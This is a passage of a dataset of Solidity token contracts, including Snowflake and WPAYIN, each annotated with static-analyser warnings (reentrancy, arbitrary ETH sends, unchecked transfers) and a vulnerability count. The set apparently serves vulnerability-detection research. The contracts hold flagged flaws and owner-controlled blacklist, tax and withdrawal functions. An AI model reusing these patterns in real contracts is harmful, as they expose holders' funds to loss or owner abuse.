e84ffc7\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 33e1df6\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 7dd0c8a\n\t\t// reentrancy-events | ID: 33e1df6\n\t\t// reentrancy-benign | ID: 1e11c5d\n\t\t// reentrancy-eth | ID: e84ffc7\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: f621c13): option.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for f621c13: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 7dd0c8a\n\t\t// reentrancy-events | ID: 33e1df6\n\t\t// reentrancy-eth | ID: e84ffc7\n\t\t// arbitrary-send-eth | ID: f621c13\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 36f3f47): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 36f3f47: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: dd72da8): option.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for dd72da8: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: fc46030): option.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for fc46030: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5a3ae39): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5a3ae39: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"Trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n address pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n if (pair == address(0)) {\n\t\t\t// reentrancy-benign | ID: 36f3f47\n\t\t\t// reentrancy-eth | ID: 5a3ae39\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .createPair(address(this), uniswapV2Router.WETH());\n } else {\n uniswapV2Pair = pair;\n }\n\n\t\t// reentrancy-benign | ID: 36f3f47\n\t\t// unused-return | ID: fc46030\n\t\t// reentrancy-eth | ID: 5a3ae39\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 36f3f47\n\t\t// unused-return | ID: dd72da8\n\t\t// reentrancy-eth | ID: 5a3ae39\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 36f3f47\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 5a3ae39\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 36f3f47\n firstBlock = block.number;\n }\n\n function withdrawETH() external onlyOwner {\n uint256 amount = address(this).balance;\n\n require(amount > 0, \"No ETH to withdraw\");\n\n payable(owner()).transfer(amount);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 3aca593): option.withdrawTokens(address) ignores return value by IERC20(tokenAddress).transfer(owner(),amount)\n\t// Recommendation for 3aca593: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function withdrawTokens(address tokenAddress) external onlyOwner {\n uint256 amount = IERC20(tokenAddress).balanceOf(address(this));\n\n require(amount > 0, \"No tokens to withdraw\");\n\n\t\t// unchecked-transfer | ID: 3aca593\n IERC20(tokenAddress).transfer(owner(), amount);\n }\n\n receive() external payable {}\n}\n", "file_name": "solidity_code_10352.sol", "size_bytes": 20973, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Snowflake is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b4f33b9): Snowflake._taxWallet should be immutable \n\t// Recommendation for b4f33b9: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: dffa356): Snowflake._initialBuyTax should be constant \n\t// Recommendation for dffa356: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 16;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8818dd3): Snowflake._initialSellTax should be constant \n\t// Recommendation for 8818dd3: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 30;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1c434a1): Snowflake._reduceBuyTaxAt should be constant \n\t// Recommendation for 1c434a1: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: a1b7d9c): Snowflake._reduceSellTaxAt should be constant \n\t// Recommendation for a1b7d9c: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5207719): Snowflake._preventSwapBefore should be constant \n\t// Recommendation for 5207719: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Snowflake\";\n\n string private constant _symbol = unicode\"Snowflake\";\n\n uint256 public _maxTxAmount = 8406900000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8406900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e29ba97): Snowflake._taxSwapThreshold should be constant \n\t// Recommendation for e29ba97: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 17d48a7): Snowflake._maxTaxSwap should be constant \n\t// Recommendation for 17d48a7: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c5b8362): Snowflake.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for c5b8362: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1c1a094): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1c1a094: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 7894723): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 7894723: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 1c1a094\n\t\t// reentrancy-benign | ID: 7894723\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 1c1a094\n\t\t// reentrancy-benign | ID: 7894723\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 02b73f4): Snowflake._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 02b73f4: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 7894723\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 1c1a094\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4d17ade): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4d17ade: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9f60269): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9f60269: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 4d17ade\n\t\t\t\t// reentrancy-eth | ID: 9f60269\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 4d17ade\n\t\t\t\t\t// reentrancy-eth | ID: 9f60269\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 9f60269\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 9f60269\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 9f60269\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 4d17ade\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 9f60269\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 9f60269\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 4d17ade\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 1c1a094\n\t\t// reentrancy-events | ID: 4d17ade\n\t\t// reentrancy-benign | ID: 7894723\n\t\t// reentrancy-eth | ID: 9f60269\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 4464894): Snowflake.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 4464894: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 1c1a094\n\t\t// reentrancy-events | ID: 4d17ade\n\t\t// reentrancy-eth | ID: 9f60269\n\t\t// arbitrary-send-eth | ID: 4464894\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ed57ece): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ed57ece: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 91747b1): Snowflake.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 91747b1: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 68ee731): Snowflake.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 68ee731: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 0554b57): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 0554b57: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: ed57ece\n\t\t// reentrancy-eth | ID: 0554b57\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: ed57ece\n\t\t// unused-return | ID: 91747b1\n\t\t// reentrancy-eth | ID: 0554b57\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: ed57ece\n\t\t// unused-return | ID: 68ee731\n\t\t// reentrancy-eth | ID: 0554b57\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: ed57ece\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 0554b57\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n", "file_name": "solidity_code_10353.sol", "size_bytes": 19555, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) return 0;\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract WPAYIN is IERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 22a7455): WPAYIN.name should be constant \n\t// Recommendation for 22a7455: Add the 'constant' attribute to state variables that never change.\n string public name = \"WPAYIN\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 1527983): WPAYIN.symbol should be constant \n\t// Recommendation for 1527983: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"WPI\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 3cfcf31): WPAYIN.decimals should be constant \n\t// Recommendation for 3cfcf31: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 9;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 7943a7d): WPAYIN.totalSupply should be immutable \n\t// Recommendation for 7943a7d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public totalSupply = 100_000_000 * 10 ** decimals;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0a0384d): WPAYIN.feeRecipient1 should be constant \n\t// Recommendation for 0a0384d: Add the 'constant' attribute to state variables that never change.\n address public feeRecipient1 = 0xf19D98f0d6797386E1D235492ebE8dd3bEE2ecD6;\n\n address public feeRecipient2 = 0x6704A086752b119959e8d07e1af6792594dB4ea3;\n\n uint256 public transactionFee = 3;\n\n uint256 public maxWalletSize = totalSupply.div(100);\n\n uint256 public maxTransferSize = totalSupply.div(100);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen = false;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n mapping(address => bool) private excludedFromFees;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n event FeesCollected(\n address indexed from,\n address indexed to1,\n address indexed to2,\n uint256 feeAmount1,\n uint256 feeAmount2\n );\n\n event FeeRecipient2Updated(\n address indexed previousRecipient,\n address indexed newRecipient\n );\n\n event LimitsRemoved();\n\n modifier checkMaxWallet(address to, uint256 amount) {\n require(\n _balances[to].add(amount) <= maxWalletSize,\n \"Max wallet limit exceeded\"\n );\n\n _;\n }\n\n modifier checkMaxTransfer(uint256 amount) {\n require(amount <= maxTransferSize, \"Max transfer limit exceeded\");\n\n _;\n }\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _balances[msg.sender] = totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n )\n public\n checkMaxWallet(to, amount)\n checkMaxTransfer(amount)\n returns (bool)\n {\n _transfer(msg.sender, to, amount);\n\n return true;\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n allowance[msg.sender][spender] = amount;\n\n emit Approval(msg.sender, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n )\n public\n checkMaxWallet(to, amount)\n checkMaxTransfer(amount)\n returns (bool)\n {\n require(allowance[from][msg.sender] >= amount, \"Allowance exceeded\");\n\n allowance[from][msg.sender] = allowance[from][msg.sender].sub(amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal checkMaxWallet(recipient, amount) checkMaxTransfer(amount) {\n uint256 feeAmount1 = 0;\n\n uint256 feeAmount2 = 0;\n\n if (!excludedFromFees[sender] && !excludedFromFees[recipient]) {\n uint256 totalFeeAmount = amount.mul(transactionFee).div(100);\n\n feeAmount1 = totalFeeAmount.div(2);\n\n feeAmount2 = totalFeeAmount.sub(feeAmount1);\n\n _balances[sender] = _balances[sender].sub(totalFeeAmount);\n\n _balances[feeRecipient1] = _balances[feeRecipient1].add(feeAmount1);\n\n _balances[feeRecipient2] = _balances[feeRecipient2].add(feeAmount2);\n\n emit FeesCollected(\n sender,\n feeRecipient1,\n feeRecipient2,\n feeAmount1,\n feeAmount2\n );\n\n amount = amount.sub(totalFeeAmount);\n }\n\n _balances[sender] = _balances[sender].sub(amount);\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 22534d8): WPAYIN._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 22534d8: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) internal {\n allowance[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function setMaxWalletSize(uint256 newMaxWallet) external onlyOwner {\n require(\n newMaxWallet <= totalSupply,\n \"Max wallet size cannot exceed total supply\"\n );\n\n maxWalletSize = newMaxWallet;\n\n emit MaxTxAmountUpdated(newMaxWallet);\n }\n\n function setMaxTransferSize(uint256 newMaxTransfer) external onlyOwner {\n require(\n newMaxTransfer <= totalSupply,\n \"Max transfer size cannot exceed total supply\"\n );\n\n maxTransferSize = newMaxTransfer;\n }\n\n function 